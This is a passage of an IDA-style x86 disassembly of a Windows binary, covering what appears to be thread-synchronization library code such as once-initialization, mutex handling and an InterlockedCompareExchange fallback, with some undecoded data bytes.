		mov	eax, [esi+4]
		dec	eax
		mov	[esi+4], eax
		jnz	short loc_43228A


loc_432248:				; CODE XREF: sub_4321F0+4Dj
		lea	edi, [esi+14h]
		mov	[esi+0Ch], ebx
		push	edi
		nop
		call	near ptr 7C901005h
		push	esi
		nop
		call	near ptr 27806A6h
		test	eax, eax
		jl	short loc_432278
		add	esi, 10h
		push	esi
		call	sub_40103C
		add	esp, 4
		test	eax, eax
		jz	short loc_432278
		call	near ptr 77C1F2BCh
		nop
		mov	ebx, [eax]


loc_432278:				; CODE XREF: sub_4321F0+6Ej
					; sub_4321F0+7Ej
		push	edi
		nop
		call	near ptr 7C9010EDh
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_432285:				; CODE XREF: sub_4321F0+1Ej
		mov	ebx, 16h


loc_43228A:				; CODE XREF: sub_4321F0+56j
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_432290:				; CODE XREF: sub_4321F0+Aj
					; sub_4321F0+14j
		pop	esi
		mov	eax, 16h
		pop	ebx
		retn
sub_4321F0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4322D0	proc near		; CODE XREF: sub_401785j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		xor	edi, edi
		test	esi, esi
		jz	short loc_432355
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_432355
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4322F2
		push	esi
		call	sub_401C17
		add	esp, 4
		mov	edi, eax


loc_4322F2:				; CODE XREF: sub_4322D0+15j
		mov	esi, [esi]
		test	edi, edi
		jnz	short loc_432350
		push	0FFFFFFFFh
		push	edi
		push	esi
		call	dword_5103C8	; InterlockedCompareExchange
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_432323
		mov	ecx, [esi+8]
		mov	eax, 1
		test	ecx, ecx
		mov	[esi+4], eax
		jz	short loc_43231B
		call	sub_4012E4
; ---------------------------------------------------------------------------


loc_43231B:				; CODE XREF: sub_4322D0+44j
		mov	[esi+0Ch], eax
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432323:				; CODE XREF: sub_4322D0+35j
		cmp	dword ptr [esi+8], 1
		jnz	short loc_43234B
		call	sub_4012E4
; ---------------------------------------------------------------------------
		push	eax
		mov	eax, [esi+0Ch]
		push	eax
		call	sub_401A64
		add	esp, 8
		test	eax, eax
		jz	short loc_43234B
		mov	eax, [esi+4]
		inc	eax
		mov	[esi+4], eax
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_43234B:				; CODE XREF: sub_4322D0+57j
					; sub_4322D0+6Dj
		mov	edi, 10h


loc_432350:				; CODE XREF: sub_4322D0+26j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432355:				; CODE XREF: sub_4322D0+Aj
					; sub_4322D0+10j
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
sub_4322D0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432390:				; CODE XREF: ___:0040193Dj
		mov	eax, [esp+8]
		mov	ecx, [esp+4]
		push	eax
		push	ecx
		call	sub_40119A
		add	esp, 8
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4323C0:				; CODE XREF: ___:00401591j
		mov	eax, [esp+8]
		mov	ecx, [esp+4]
		push	eax
		push	ecx
		call	sub_4018CF
		add	esp, 8
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4323F0:				; CODE XREF: ___:00401497j
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_4323FC
		mov	eax, [eax+4]
		retn
; ---------------------------------------------------------------------------


loc_4323FC:				; CODE XREF: ___:004323F6j
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432410:				; CODE XREF: ___:00401C12j
		mov	eax, [esp+4]
		push	esi
		test	eax, eax
		push	edi
		jnz	short loc_432422
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432422:				; CODE XREF: ___:00432418j
		mov	esi, [eax]
		test	esi, esi
		jnz	short loc_432445
		mov	ecx, [eax+4]
		test	ecx, ecx
		jnz	short loc_432445
		call	sub_401D02
; ---------------------------------------------------------------------------
		dd 0D4E89056h, 0E80240DDh, 0FFFCF8C2h, 5EC0335Fh
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------


loc_432445:				; CODE XREF: ___:00432426j
					; ___:0043242Dj
		mov	ecx, [eax+4]
		mov	eax, 431BDE83h
		add	ecx, 0F423Fh
		imul	ecx
		sar	edx, 12h
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		lea	eax, [esi+esi*4]
		lea	eax, [eax+eax*4]
		lea	ecx, [eax+eax*4]
		lea	edi, [edx+ecx*8]
		call	sub_4012E4
; ---------------------------------------------------------------------------
		mov	esi, eax
		test	esi, esi
		jnz	short loc_43247E
		pop	edi
		mov	eax, 0Ch
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_43247E:				; CODE XREF: ___:00432474j
		mov	eax, [esi+30h]
		push	edi
		test	eax, eax
		jnz	short loc_4324E6
		mov	edx, [esi+38h]
		push	edx
		nop
		call	near ptr 278043Ch
		test	eax, eax
		jnz	short loc_4324D7
		lea	edi, [esi+2Ch]
		push	edi
		call	sub_402248
		mov	eax, [esi+0Ch]
		add	esp, 4
		cmp	eax, 3
		jge	short loc_4324C6
		push	edi
		mov	dword ptr [esi+0Ch], 3
		mov	dword ptr [esi+30h], 1
		call	sub_4010C3
		push	2
		call	sub_401DED
; ---------------------------------------------------------------------------
		add	esp, 8


loc_4324C6:				; CODE XREF: ___:004324A6j
		push	edi
		call	sub_4010C3
		add	esp, 4
		mov	eax, 3
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4324D7:				; CODE XREF: ___:00432492j
		cmp	eax, 102h
		jz	short loc_4324EC
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4324E6:				; CODE XREF: ___:00432484j
		nop
		call	near ptr 284020Fh


loc_4324EC:				; CODE XREF: ___:004324DCj
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432540:				; CODE XREF: ___:00401014j
		push	ecx
		lea	eax, [esp+0]
		push	eax
		call	sub_401C3A
		add	esp, 4
		test	eax, eax
		mov	eax, 1
		jnz	short loc_43255B
		mov	eax, [esp+0]


loc_43255B:				; CODE XREF: ___:00432555j
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432570	proc near		; CODE XREF: sub_401712j
		push	esi
		call	sub_401320
		push	offset aKernel32_dll ; "KERNEL32.DLL"
		mov	esi, eax
		nop
		call	near ptr 27E0977h
		push	offset aInterlockedcom ; "InterlockedCompareExchange"
		push	eax
		mov	dword_5103AC, eax
		call	near ptr 28B0359h
		nop
		test	eax, eax
		mov	dword_5103C8, eax
		jnz	short loc_4325BD
		mov	eax, dword_5103AC
		mov	dword_5103C8, offset sub_4012D0
		push	eax
		nop
		call	near ptr 27606A7h
		mov	dword_5103AC, 0


loc_4325BD:				; CODE XREF: sub_432570+2Bj
		mov	eax, esi
		pop	esi
		retn
sub_432570	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4325F0	proc near		; CODE XREF: sub_401627j
		mov	eax, dword_5103B0
		test	eax, eax
		jz	short loc_432640
		mov	eax, dword_5103B4
		push	eax
		call	sub_401190
; ---------------------------------------------------------------------------
		dd 8504C483h, 832074C0h, 75012078h, 0A0E8501Ah,	8BFFFCF1h
		dd 5103B40Dh, 4C48300h,	6A118Bh, 55E89052h, 0E80232DDh
		dd 0FFFCF015h, 5103ACA1h, 74C08500h, 0E8905007h, 232E067h
; ---------------------------------------------------------------------------


loc_432640:				; CODE XREF: sub_4325F0+7j
		mov	eax, 1
		retn
sub_4325F0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432670	proc near		; CODE XREF: sub_4017BCj
		mov	eax, 1
		retn
sub_432670	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432690	proc near		; CODE XREF: sub_4017CBj
		mov	eax, dword_5103B0
		test	eax, eax
		jz	short loc_4326CB
		mov	eax, dword_5103B4
		push	eax
		call	sub_401190
; ---------------------------------------------------------------------------
		dd 8504C483h, 832074C0h, 75012078h, 0E8501Ah, 8BFFFCF1h
		dd 5103B40Dh, 4C48300h,	6A118Bh, 0B5E89052h
		db 0DCh, 32h, 2
; ---------------------------------------------------------------------------


loc_4326CB:				; CODE XREF: sub_432690+7j
		mov	eax, 1
		retn
sub_432690	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432700:				; CODE XREF: ___:0040225Cj
		push	ecx
		push	esi
		push	offset dword_510980
		xor	esi, esi
		nop
		call	near ptr 7C901005h
		mov	eax, dword_5103BC
		test	eax, eax
		mov	[esp+4], eax
		jz	short loc_43273E


loc_43271C:				; CODE XREF: ___:0043273Cj
		test	esi, esi
		jnz	short loc_43273E
		lea	eax, [esp+4]
		push	eax
		call	sub_40160E
		mov	ecx, [esp+8]
		mov	esi, eax
		add	esp, 4
		mov	eax, [ecx+18h]
		test	eax, eax
		mov	[esp+4], eax
		jnz	short loc_43271C


loc_43273E:				; CODE XREF: ___:0043271Aj
					; ___:0043271Ej
		push	offset dword_510980
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		neg	eax
		sbb	eax, eax
		and	eax, 0Bh
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432780	proc near		; CODE XREF: sub_4012B7j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jz	short loc_432799
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_432799
		cmp	dword ptr [eax], 0C4C0FFEEh
		jnz	short loc_432799
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_432799:				; CODE XREF: sub_432780+6j
					; sub_432780+Cj ...
		mov	eax, 1
		retn
sub_432780	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4327B0	proc near		; CODE XREF: sub_401320j
		mov	eax, dword_5103B0
		test	eax, eax
		jz	short loc_4327BF
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------


loc_4327BF:				; CODE XREF: sub_4327B0+7j
		push	0
		push	offset dword_5103B4
		mov	dword_5103B0, 1
		call	sub_401609
		add	esp, 8
		test	eax, eax
		jnz	short loc_4327EE
		push	eax
		push	offset dword_5103B8
		call	sub_401609
		add	esp, 8
		test	eax, eax
		jz	short loc_4327F3


loc_4327EE:				; CODE XREF: sub_4327B0+2Aj
		call	sub_401645


loc_4327F3:				; CODE XREF: sub_4327B0+3Cj
		push	esi
		mov	esi, dword_511868
		push	offset dword_5108C0
		call	esi
		push	offset dword_510920
		call	esi
		push	offset dword_510980
		call	esi
		push	offset dword_510900
		call	esi
		push	offset dword_510960
		call	esi
		push	offset dword_510940
		call	esi
		mov	eax, dword_5103B0
		pop	esi
		retn
sub_4327B0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432850	proc near		; CODE XREF: sub_401645j
		mov	eax, dword_5103B0
		test	eax, eax
		jz	locret_432909
		mov	eax, dword_5103B4
		test	eax, eax
		jz	short loc_432879
		push	eax
		call	sub_401AB4
		add	esp, 4
		mov	dword_5103B4, 0


loc_432879:				; CODE XREF: sub_432850+14j
		mov	eax, dword_5103B8
		test	eax, eax
		jz	short loc_432895
		push	eax
		call	sub_401AB4
		add	esp, 4
		mov	dword_5103B8, 0


loc_432895:				; CODE XREF: sub_432850+30j
		push	esi
		push	offset dword_5108C0
		nop
		call	near ptr 7C901005h
		mov	eax, dword_447708
		cmp	eax, 1
		jz	short loc_4328C3
		push	edi
		mov	edi, dword_511AD0


loc_4328B2:				; CODE XREF: sub_432850+70j
		mov	esi, [eax+8]
		push	eax
		call	edi
		add	esp, 4
		cmp	esi, 1
		mov	eax, esi
		jnz	short loc_4328B2
		pop	edi


loc_4328C3:				; CODE XREF: sub_432850+59j
		push	offset dword_5108C0
		nop
		call	near ptr 7C9010EDh
		mov	esi, dword_511864
		push	offset dword_510940
		call	esi
		push	offset dword_510960
		call	esi
		push	offset dword_510900
		call	esi
		push	offset dword_510980
		call	esi
		push	offset dword_510920
		call	esi
		push	offset dword_5108C0
		call	esi
		mov	dword_5103B0, 0
		pop	esi

locret_432909:				; CODE XREF: sub_432850+7j
		retn
sub_432850	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432940:				; CODE XREF: ___:loc_401BA9j
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	eax
		mov	esi, [eax]
		mov	ecx, [eax+4]
		mov	edx, [eax+8]
		mov	[ebp-4], esi
		mov	[ebp-0Ch], ecx
		mov	[ebp-8], edx
		nop
		call	near ptr 77C2C21Bh
		mov	eax, dword_5103B4
		push	esi
		push	eax
		call	sub_4020F9
; ---------------------------------------------------------------------------
		mov	dword ptr [esi+0Ch], 1
		add	esi, 3Ch
		push	0
		push	esi
		call	sub_437D4C
; ---------------------------------------------------------------------------
		mov	edi, [ebp-4]
		add	esp, 14h
		test	eax, eax
		jnz	short loc_43299C
		mov	ecx, [ebp-8]
		push	ecx
		call	dword ptr [ebp-0Ch]
		add	esp, 4
		mov	[edi+14h], eax
		mov	esi, eax
		jmp	short loc_4329A8
; ---------------------------------------------------------------------------


loc_43299C:				; CODE XREF: ___:00432989j
		dec	eax
		jz	short loc_4329A5
		dec	eax
		or	esi, 0FFFFFFFFh
		jmp	short loc_4329A8
; ---------------------------------------------------------------------------


loc_4329A5:				; CODE XREF: ___:0043299Dj
		mov	esi, [edi+14h]


loc_4329A8:				; CODE XREF: ___:0043299Aj
					; ___:004329A3j
		cmp	dword ptr [edi+20h], 1
		jnz	short loc_4329C7
		call	sub_4017CB
		push	esi
		nop
		call	near ptr 77C3A307h
		add	esp, 4
		mov	eax, esi
		pop	edi
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------


loc_4329C7:				; CODE XREF: ___:004329ACj
		push	edi
		call	sub_40131B
		add	esp, 4
		push	esi
		call	near ptr 77C3A307h
		nop
		add	esp, 4
		mov	eax, esi
		pop	edi
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432A20	proc near		; CODE XREF: sub_4017B7j

var_84		= byte ptr -84h
var_80		= dword	ptr -80h
var_58		= byte ptr -58h
var_4C		= dword	ptr -4Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  4

		sub	esp, 84h
		push	ebx
		mov	ebx, [esp+88h+arg_0]
		test	ebx, ebx
		push	esi
		jz	short loc_432A9A
		lea	esi, [ebx+2Ch]
		push	edi
		push	esi
		call	sub_402248
		push	esi
		mov	dword ptr [ebx+0Ch], 5
		call	sub_4010C3
		push	ebx
		call	sub_40131B
		mov	ecx, 21h
		mov	esi, ebx
		lea	edi, [esp+9Ch+var_84]
		push	ebx
		rep movsd
		call	sub_401BD1
		mov	eax, [esp+0A0h+var_4C]
		mov	esi, dword_5118E0
		add	esp, 10h
		test	eax, eax
		pop	edi
		jz	short loc_432A78
		push	eax
		call	esi


loc_432A78:				; CODE XREF: sub_432A20+53j
		lea	eax, [esp+8Ch+var_58]
		push	eax
		call	sub_402252
		mov	eax, [esp+90h+var_80]
		add	esp, 4
		test	eax, eax
		jz	short loc_432A9A
		test	[esp+8Ch+var_8], 1
		jnz	short loc_432A9A
		push	eax
		call	esi


loc_432A9A:				; CODE XREF: sub_432A20+11j
					; sub_432A20+6Bj ...
		pop	esi
		pop	ebx
		add	esp, 84h
		retn
sub_432A20	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432AE0	proc near		; CODE XREF: sub_401DDEj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	ebp
		push	esi
		push	edi
		push	14h
		push	1
		nop
		call	near ptr 77C2C0C3h
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jnz	short loc_432B01
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 0Ch
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_432B01:				; CODE XREF: sub_432AE0+15j
		mov	edi, [esp+10h+arg_8]
		mov	ebp, [esp+10h+arg_4]
		mov	dword ptr [esi], 0FFFFFFFFh
		mov	[esi+4], ebp
		lea	ebx, [edi+8]
		mov	[esi+8], edi
		push	ebx
		call	sub_402248
		add	esp, 4
		mov	[esp+10h+arg_4], eax
		test	eax, eax
		jz	short loc_432B42
		push	esi
		call	sub_402252
		push	esi
		nop
		call	near ptr 77C2C21Bh
		mov	eax, [esp+18h+arg_4]
		add	esp, 8
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_432B42:				; CODE XREF: sub_432AE0+47j
		mov	eax, [edi+0Ch]
		push	ebx
		mov	[esi+10h], eax
		mov	[edi+0Ch], esi
		call	sub_4010C3
		add	esp, 4
		test	ebp, ebp
		jz	short loc_432B67
		mov	ecx, [ebp+80h]
		mov	[esi+0Ch], ecx
		mov	[ebp+80h], esi


loc_432B67:				; CODE XREF: sub_432AE0+76j
		mov	edx, [esp+10h+arg_0]
		pop	edi
		xor	eax, eax
		mov	[edx], esi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_432AE0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432BB0	proc near		; CODE XREF: sub_40105Fj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_432BD7
		mov	eax, [esi+8]
		test	eax, eax
		jnz	short loc_432BD7
		mov	eax, [esi+4]
		test	eax, eax
		jnz	short loc_432BD7
		push	esi
		call	sub_402252
		push	esi
		nop
		call	near ptr 77C2C21Bh
		add	esp, 8


loc_432BD7:				; CODE XREF: sub_432BB0+7j
					; sub_432BB0+Ej ...
		pop	esi
		retn
sub_432BB0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432BF0	proc near		; CODE XREF: sub_40131Bj

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		test	ebx, ebx
		push	esi
		jz	short loc_432C5D
		mov	esi, [ebx+80h]
		test	esi, esi
		jz	short loc_432C5D
		push	edi


loc_432C05:				; CODE XREF: sub_432BF0+6Aj
		push	esi
		call	sub_402248
		add	esp, 4
		test	eax, eax
		jnz	short loc_432C58
		mov	edi, [esi+8]
		test	edi, edi
		jz	short loc_432C33
		push	edi
		call	sub_401190
; ---------------------------------------------------------------------------
		add	esp, 4
		test	eax, eax
		jz	short loc_432C33
		mov	edi, [edi+4]
		test	edi, edi
		jz	short loc_432C33
		push	eax


loc_432C2E:				; CODE XREF: ___:00432CA7j
		call	edi
		add	esp, 4


loc_432C33:				; CODE XREF: sub_432BF0+27j
					; sub_432BF0+34j ...
		mov	eax, [esi+0Ch]
		mov	dword ptr [esi+4], 0
		push	esi
		mov	[ebx+80h], eax
		call	sub_4010C3
		push	esi
		call	sub_40105F
		mov	esi, [ebx+80h]
		add	esp, 8


loc_432C58:				; CODE XREF: sub_432BF0+20j
		test	esi, esi
		jnz	short loc_432C05
		pop	edi


loc_432C5D:				; CODE XREF: sub_432BF0+8j
					; sub_432BF0+12j
		pop	esi
		pop	ebx
		retn
sub_432BF0	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_432C80	proc near		; CODE XREF: sub_401DEDj
		mov	eax, dword_5103B4
		push	ebx
		push	edi
		push	eax
		call	sub_401190
sub_432C80	endp

; ---------------------------------------------------------------------------
		db 8Bh,	5Ch, 24h
; ---------------------------------------------------------------------------
		adc	[ebx-47CFB3Ch],	al
		add	cl, [ebx-7CF28B08h]
		sti
		add	[eax+ecx+6Ah], esi
		add	[eax-7F8E2918h], edx
		ja	short loc_432C2E
		push	dword ptr [esi+eax-0Ah]
		inc	edi
		jl	short near ptr loc_432CB0+1


loc_432CB0:				; CODE XREF: ___:00432CAEj
		jz	short loc_432CD5
		push	esi
		mov	eax, ebx
		xor	esi, esi
		dec	eax
		jz	short loc_432CC2
		dec	eax
		jnz	short loc_432CC5
		or	esi, 0FFFFFFFFh
		jmp	short loc_432CC5
; ---------------------------------------------------------------------------


loc_432CC2:				; CODE XREF: ___:00432CB8j
		mov	esi, [edi+14h]


loc_432CC5:				; CODE XREF: ___:00432CBBj
					; ___:00432CC0j
		call	sub_4017CB
		push	esi
		nop
		call	near ptr 77C3A307h
		add	esp, 4
		pop	esi


loc_432CD5:				; CODE XREF: ___:loc_432CB0j
		push	1
		call	sub_401B22
; ---------------------------------------------------------------------------
		dd 8304C483h, 57533CC7h, 80408BE8h, 90909077h, 90909090h
		dd 8 dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_432D10	proc near		; CODE XREF: sub_401B22j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	esi
		call	sub_401122
sub_432D10	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		test	eax, eax
		jz	short loc_432D2F


loc_432D22:				; CODE XREF: ___:00432D2Dj
		push	esi
		call	sub_401122
; ---------------------------------------------------------------------------
		add	esp, 4
		test	eax, eax
		jnz	short loc_432D22


loc_432D2F:				; CODE XREF: ___:00432D20j
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432D50:				; CODE XREF: ___:00401DF7j
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_432D70	proc near		; CODE XREF: sub_4012D0j

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	edx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+arg_8]
		lock cmpxchg [ecx], edx
		mov	[ebp+var_4], eax
		pop	edx
		pop	ecx
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	0Ch
sub_432D70	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432DB0	proc near		; CODE XREF: sub_401C3Aj

var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4

		sub	esp, 8
		lea	eax, [esp+8+var_4]
		lea	ecx, [esp+8+var_8]
		push	esi
		push	eax
		push	ecx
		xor	esi, esi
		nop
		call	near ptr 2790CCDh
		push	eax
		nop
		call	near ptr 2760000h
		test	eax, eax
		jz	short loc_432DF2
		mov	edx, [esp+0Ch+var_8]
		xor	ecx, ecx
		mov	eax, 1


loc_432DDC:				; CODE XREF: sub_432DB0+33j
		test	eax, edx
		jz	short loc_432DE1
		inc	ecx


loc_432DE1:				; CODE XREF: sub_432DB0+2Ej
		shl	eax, 1
		jnz	short loc_432DDC
		mov	edx, [esp+0Ch+arg_0]
		mov	eax, esi
		pop	esi
		mov	[edx], ecx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_432DF2:				; CODE XREF: sub_432DB0+1Fj
		mov	eax, 0Bh
		pop	esi
		add	esp, 8
		retn
sub_432DB0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432E20	proc near		; CODE XREF: sub_40185Cj

arg_0		= dword	ptr  4

		push	esi
		push	offset dword_510960
		xor	esi, esi
		call	near ptr 7C901005h
		nop
		mov	ecx, [esp+4+arg_0]
		mov	eax, [ecx]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_432E54
		push	esi
		push	ecx
		call	sub_401F91
		add	esp, 8
		mov	esi, eax
		push	offset dword_510960
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432E54:				; CODE XREF: sub_432E20+17j
		test	eax, eax
		jnz	short loc_432E5D
		mov	esi, 16h


loc_432E5D:				; CODE XREF: sub_432E20+36j
		push	offset dword_510960
		call	near ptr 7C9010EDh
		nop
		mov	eax, esi
		pop	esi
		retn
sub_432E20	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432E90	proc near		; CODE XREF: sub_401861j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+14h]
		lea	ecx, [esi+4]
		neg	eax
		push	ecx
		mov	[esi+0Ch], eax
		mov	dword ptr [esi+14h], 0
		call	sub_4010C3
		push	esi
		call	sub_4010C3
		add	esp, 8
		pop	esi
		retn
sub_432E90	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432ED0	proc near		; CODE XREF: sub_401F91j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		xor	esi, esi
		test	eax, eax
		jnz	short loc_432EE2
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432EE2:				; CODE XREF: sub_432ED0+9j
		mov	eax, [esp+4+arg_4]
		push	ebx
		test	eax, eax
		push	edi
		jz	short loc_432F02
		cmp	dword ptr [eax], 0
		jz	short loc_432F02
		mov	ecx, [esp+0Ch+arg_0]
		mov	edi, 16h
		mov	eax, edi
		pop	edi
		mov	[ecx], esi
		pop	ebx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432F02:				; CODE XREF: sub_432ED0+1Aj
					; sub_432ED0+1Fj
		push	1Ch
		push	1
		nop
		call	near ptr 77C2C0C3h
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jnz	short loc_432F26
		mov	ecx, [esp+0Ch+arg_0]
		mov	edi, 0Ch
		mov	eax, edi
		pop	edi
		mov	[ecx], esi
		pop	ebx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432F26:				; CODE XREF: sub_432ED0+43j
		push	0
		push	esi
		mov	dword ptr [esi+0Ch], 0
		mov	dword ptr [esi+10h], 0
		mov	dword ptr [esi+14h], 0
		call	sub_4021BC
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jnz	short loc_432F84
		lea	ebx, [esi+4]
		push	eax
		push	ebx
		call	sub_4021BC
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jnz	short loc_432F7B
		push	eax
		lea	eax, [esi+8]
		push	eax
		call	sub_40154B
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jz	short loc_432F9C
		push	ebx
		call	sub_402252
		add	esp, 4


loc_432F7B:				; CODE XREF: sub_432ED0+8Dj
		push	esi
		call	sub_402252
		add	esp, 4


loc_432F84:				; CODE XREF: sub_432ED0+7Aj
		push	esi
		call	near ptr 77C2C21Bh
		nop
		mov	ecx, [esp+10h+arg_0]
		add	esp, 4
		xor	esi, esi
		mov	eax, edi
		pop	edi
		mov	[ecx], esi
		pop	ebx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432F9C:				; CODE XREF: sub_432ED0+A0j
		mov	ecx, [esp+0Ch+arg_0]
		xor	edi, edi
		mov	eax, edi
		mov	dword ptr [esi+18h], 0FACADE2h
		pop	edi
		mov	[ecx], esi
		pop	ebx
		pop	esi
		retn
sub_432ED0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433000:				; CODE XREF: ___:004018BBj
		mov	eax, [esp+4]
		push	ebx
		push	ebp
		push	esi
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		xor	ebp, ebp
		test	eax, eax
		jz	loc_43313B
		mov	esi, [eax]
		test	esi, esi
		jz	loc_43313B
